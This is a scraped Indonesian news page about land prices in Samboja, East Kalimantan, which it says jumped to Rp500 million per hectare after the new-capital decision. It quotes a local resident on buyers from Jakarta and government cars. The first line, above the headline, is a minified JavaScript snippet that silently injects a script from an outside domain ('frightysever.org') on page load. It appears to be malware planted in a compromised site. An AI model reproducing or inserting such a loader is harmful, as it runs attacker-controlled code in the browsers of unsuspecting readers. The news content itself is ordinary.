(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Diburu Pengusaha, Harga Tanah di Ibukota Baru Naik Tajam Hingga Rp500 Juta


PENAJAM, Presiden Joko Widodo memutuskan memindahkan Ibu Kota Negara (IKN) di sebagian kabupaten Penajam Paser Utara dan sebagian Kutai Kartanegara, Kalimantan Timur, Senin (26/8) lalu. Setelah keputusan itu, harga tanah di Samboja melonjak hingga Rp500 juta per hektare dari sebelumnya Rp100 juta-Rp150 juta per hektare. Tidak cuma pengusaha, mobil pelat merah pun ikut berburu lahan di Samboja.

Para pemburu lahan, sudah memperkirakan kawasan Samboja secara umum, bakal menjadi kawasan sangat ramai. Selain bangunan pemerintah dalam kawasan IKN, juga diperlukan fasilitas lain seperti perhotelan.

“Yang cari tanah ini kebanyakan swasta dari Jakarta. Ada juga mobil-mobil pelat merah ke sini, ikut cari lahan,” kata warga Teluk Pemedas Samboja, Anwar (41).

Dilansir Merdeka.com, harga jual tanah pun bervariasi, tergantung dari pertimbangan di antaranya ketersediaan akses jalan. “Yang dijual mulai Rp200 ribu – Rp1 juta per perkan (meter persegi). Per hektarenya juga naik sampai Rp400 juta-Rp500 juta. Paling mahal, di pinggir jalan,” ujar Anwar.

Anwar menerangkan, sejauh ini juga, umumnya bukan warga yang mencari pembeli, melainkan warga luar Kalimantan Timur umumnya yang datang menawar lahan di Samboja. “Mereka (pencari lahan) banyak sekali yang ke sini, sehingga masyarakat membeli,” tambah Anwar.

“Tapi memang kondisinya, umumnya juga warga yang menjual tanah ini, memang sedang memerlukan uang. Sehingga jual Rp1 juta per perkan-nya,” terang Anwar.

Masih dijelaskan Anwar, beragam lahan yang diperlukan para pencari tanah, menyesuaikan untuk keperluan di masa mendatang, di kawasan ibu kota baru di Samboja. “Ada yang cari kaplingan 10×20 meter, ada juga cari 2-4 hektare. Lahan sudah dihitung luasannya, sudah diukur bersama, ada yang tinggal datang lagi bayar. Tapi ada juga yang sudah beberapa pemilik lahan sudah lakukan transaksi pembayaran,” demikian Anwar.

Diketahui, kecamatan Samboja sendiri, memiliki luasan wilayah 1.045,9 kilometer persegi, dan memiliki kawasan pesisir. Hingga Februari 2019, jumlah penduduk tercatat 63.781 jiwa, yang tersebar di 4 desa dan 19 kelurahan. Selain tol Balikpapan-Samarinda sepanjang 99,3 km masuk kawasan Samboja, di Samboja juga berdiri fasilitas militer pusat latihan tempur TNI. (idr/mer)

Reporter : Idr/mer
Editor : Cell

 


Desy Arfianty

Recent Posts

Dominasi Golkar di Rumah Banjar, Ini 55 Calon Terpilih Anggota DPRD Kalsel 2024-2029

KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) resmi menetapkan perolehan kursi… Read More

28 menit ago

Serang Markas Polisi di Kobar Kalteng, Empat Lelaki Diringkus

KANALKALIMANTAN.COM, PANGKALAN BUN - Malam yang seharusnya tenang di Desa Pangkalan Banteng, Kabupaten Kotawaringin Barat… Read More

1 jam ago

Pj Bupati Kapuas Perpisahan dengan Dua Pejabat Purna Tugas

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi didampingi Pj Ketua TP PKK… Read More

3 jam ago

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

18 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

21 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

1 hari ago

This website uses cookies.